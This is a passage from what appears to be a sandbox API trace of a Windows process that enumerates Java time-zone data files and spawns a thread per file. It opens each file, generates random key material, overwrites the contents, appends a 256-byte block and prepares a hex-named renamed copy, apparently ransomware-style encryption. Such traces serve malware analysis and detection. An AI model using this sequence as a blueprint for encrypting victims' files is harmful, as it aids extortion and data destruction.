_Dest=0x1cdb7170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.271] wcscat (in: _Dest=0x1cdb7170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.271] wcscat (in: _Dest=0x1cdb7170, _Source="Tongatapu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tongatapu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Tongatapu" [0159.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2784 [0159.272] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wake", cAlternateFileName="")) returned 1 [0159.272] wcscmp (_String1="Wake", _String2=".") returned 1 [0159.272] wcscmp (_String1="Wake", _String2="..") returned 1 [0159.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb71f0 [0159.272] wcscpy (in: _Dest=0x1cdb71f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.272] wcscat (in: _Dest=0x1cdb71f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.272] wcscat (in: _Dest=0x1cdb71f0, _Source="Wake" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wake") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wake" [0159.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb71f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2788 [0159.273] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 1 [0159.273] wcscmp (_String1="Wallis", _String2=".") returned 1 [0159.273] wcscmp (_String1="Wallis", _String2="..") returned 1 [0159.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb7270 [0159.273] wcscpy (in: _Dest=0x1cdb7270, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.273] wcscat (in: _Dest=0x1cdb7270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.273] wcscat (in: _Dest=0x1cdb7270, _Source="Wallis" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wallis") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wallis" [0159.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278c [0159.274] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallis", cAlternateFileName="")) returned 0 [0159.274] FindClose (in: hFindFile=0x1cd9dfd0 | out: hFindFile=0x1cd9dfd0) returned 1 [0159.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4760) returned 1 [0159.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0159.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 Thread: id = 2468 os_tid = 0x1f04 [0154.268] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pst8pdt")) returned 0x20 [0154.270] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT", dwFileAttributes=0x20) returned 1 [0154.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pst8pdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe98 [0154.271] GetFileSizeEx (in: hFile=0xe98, lpFileSize=0x2ae3fe40 | out: lpFileSize=0x2ae3fe40*=1272) returned 1 [0154.271] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.271] ReadFile (in: hFile=0xe98, lpBuffer=0x2ae3fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ae3fe08, lpOverlapped=0x0 | out: lpBuffer=0x2ae3fdc0*, lpNumberOfBytesRead=0x2ae3fe08*=0x4, lpOverlapped=0x0) returned 1 [0154.277] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9530 [0154.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95c0 [0154.278] NtQuerySystemTime (in: CurrentTime=0x2ae3fd00 | out: CurrentTime=0x2ae3fd00*=132462177594082000) returned 0x0 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x12643c9c [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x49761e62 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x47af2e6 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x1931e24 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x3e74169 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x48cbcfea [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x16e3fc2e [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x1ed07189 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x7d24d082 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x7fcfb5ad [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x340b5069 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x51049d68 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x676955fc [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x1ce72047 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x198524d7 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x4c82a458 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x55b1dcd5 [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x19044d1c [0154.278] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x678603b2 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x3bedeee8 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x19c09428 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x34b42eda [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0xfb81730 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x6150d7f1 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x73358596 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x724eb07 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x41f469e8 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x758fae0a [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x49d849cd [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x6483c72 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x41f0cd21 [0154.279] RtlRandomEx (in: Seed=0x2ae3fcf0 | out: Seed=0x2ae3fcf0) returned 0x442ee0f0 [0154.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95f0 [0154.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0154.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9620 [0154.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0154.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95c0) returned 1 [0154.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ca0 [0154.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0154.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427d9e90 [0154.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427ddaa0 [0154.290] ReadFile (in: hFile=0xe98, lpBuffer=0x427d9e90, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2ae3fcf0, lpOverlapped=0x0 | out: lpBuffer=0x427d9e90*, lpNumberOfBytesRead=0x2ae3fcf0*=0x4f8, lpOverlapped=0x0) returned 1 [0154.290] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.290] WriteFile (in: hFile=0xe98, lpBuffer=0x427ddaa0*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2ae3fcf4, lpOverlapped=0x0 | out: lpBuffer=0x427ddaa0*, lpNumberOfBytesWritten=0x2ae3fcf4*=0x4f8, lpOverlapped=0x0) returned 1 [0162.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7670 [0162.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a76a0 [0162.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a76a0) returned 1 [0162.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427ddaa0) returned 1 [0162.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427d9e90) returned 1 [0162.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0162.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ca0) returned 1 [0162.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a76a0 [0162.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ca0 [0162.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c340 [0162.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a76d0 [0162.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a76d0) returned 1 [0162.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a76d0 [0162.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7700 [0162.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7730 [0162.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7730) returned 1 [0162.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0162.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ca0) returned 1 [0162.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x423a9a30 [0162.109] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.109] WriteFile (in: hFile=0xe98, lpBuffer=0x423a9a30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ae3fe10, lpOverlapped=0x0 | out: lpBuffer=0x423a9a30*, lpNumberOfBytesWritten=0x2ae3fe10*=0x100, lpOverlapped=0x0) returned 1 [0164.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0164.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41e0 [0164.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41e0) returned 1 [0164.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d140 [0164.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41e0 [0164.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41b0 [0164.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41b0) returned 1 [0164.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0164.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x422f41b0 [0164.089] sprintf (in: _Dest=0x422f41b0, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.089] sprintf (in: _Dest=0x422f41b2, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.089] sprintf (in: _Dest=0x422f41b4, _Format="%c%c" | out: _Dest="05") returned 2 [0164.089] sprintf (in: _Dest=0x422f41b6, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.089] sprintf (in: _Dest=0x422f41b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.089] sprintf (in: _Dest=0x422f41ba, _Format="%c%c" | out: _Dest="be") returned 2 [0164.089] sprintf (in: _Dest=0x422f41bc, _Format="%c%c" | out: _Dest="55") returned 2 [0164.089] sprintf (in: _Dest=0x422f41be, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.089] sprintf (in: _Dest=0x422f41c0, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.089] sprintf (in: _Dest=0x422f41c2, _Format="%c%c" | out: _Dest="60") returned 2 [0164.089] sprintf (in: _Dest=0x422f41c4, _Format="%c%c" | out: _Dest="10") returned 2 [0164.089] sprintf (in: _Dest=0x422f41c6, _Format="%c%c" | out: _Dest="95") returned 2 [0164.089] sprintf (in: _Dest=0x422f41c8, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.089] sprintf (in: _Dest=0x422f41ca, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.089] RtlInitAnsiString (in: DestinationString=0x2ae3fe88, SourceString="1cfc05c0aabe55e62e6010959aa8" | out: DestinationString="1cfc05c0aabe55e62e6010959aa8") [0164.089] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ae3fe58, SourceString="1cfc05c0aabe55e62e6010959aa8", AllocateDestinationString=1 | out: DestinationString="1cfc05c0aabe55e62e6010959aa8") returned 0x0 [0164.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce189b0 [0164.090] RtlFreeAnsiString (AnsiString="1") [0164.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41b0) returned 1 [0164.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f41e0) returned 1 [0164.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9a30) returned 1 [0164.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a76d0) returned 1 [0164.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7700) returned 1 [0164.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a76a0) returned 1 [0164.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7670) returned 1 [0164.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9530) returned 1 [0164.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95f0) returned 1 [0164.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0164.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce5b630 [0164.093] wcscat (in: _Dest=0x1ce5b630, _Source="1cfc05c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c" [0164.093] wcscat (in: _Dest=0x1ce5b630, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c.2f9b60" [0164.093] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c.2f9b60", NtPathName=0x2ae3fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\1cfc05c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230e640 [0243.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230e640) returned 1 [0243.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2f2e0) returned 1 [0243.956] NtQueryInformationFile (in: FileHandle=0xe98, IoStatusBlock=0x2ae3fe98, FileInformation=0x2ae3fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ae3fe98, FileInformation=0x2ae3fea8) returned 0x0 [0243.956] NtSetInformationFile (FileHandle=0xe98, IoStatusBlock=0x2ae3fe98, FileInformation=0x2ae3fea8, Length=0x28, FileInformationClass=0x4) Thread: id = 2469 os_tid = 0x1f08 [0154.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9630 [0154.274] wcscpy (in: _Dest=0x1ced9630, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0154.274] wcscat (in: _Dest=0x1ced9630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0154.274] wcscat (in: _Dest=0x1ced9630, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*" [0154.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4280 [0154.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0154.276] wcscmp (_String1=".", _String2=".") returned 0 [0154.276] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.276] wcscmp (_String1="..", _String2=".") returned 1 [0154.276] wcscmp (_String1="..", _String2="..") returned 0 [0154.276] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4", cAlternateFileName="")) returned 1 [0154.276] wcscmp (_String1="AST4", _String2=".") returned 1 [0154.276] wcscmp (_String1="AST4", _String2="..") returned 1 [0154.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b86c2c0 [0154.277] wcscpy (in: _Dest=0x1b86c2c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0154.277] wcscat (in: _Dest=0x1b86c2c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0154.277] wcscat (in: _Dest=0x1b86c2c0, _Source="AST4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4" [0158.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc [0158.729] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AST4ADT", cAlternateFileName="")) returned 1 [0158.729] wcscmp (_String1="AST4ADT", _String2=".") returned 1 [0158.729] wcscmp (_String1="AST4ADT", _String2="..") returned 1 [0158.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0158.729] wcscpy (in: _Dest=0x1b85e890, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" [0158.729] wcscat (in: _Dest=0x1b85e890, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\" [0158.729] wcscat (in: _Dest=0x1b85e890, _Source="AST4ADT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4ADT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4ADT" [0158.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8 [0158.732] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, 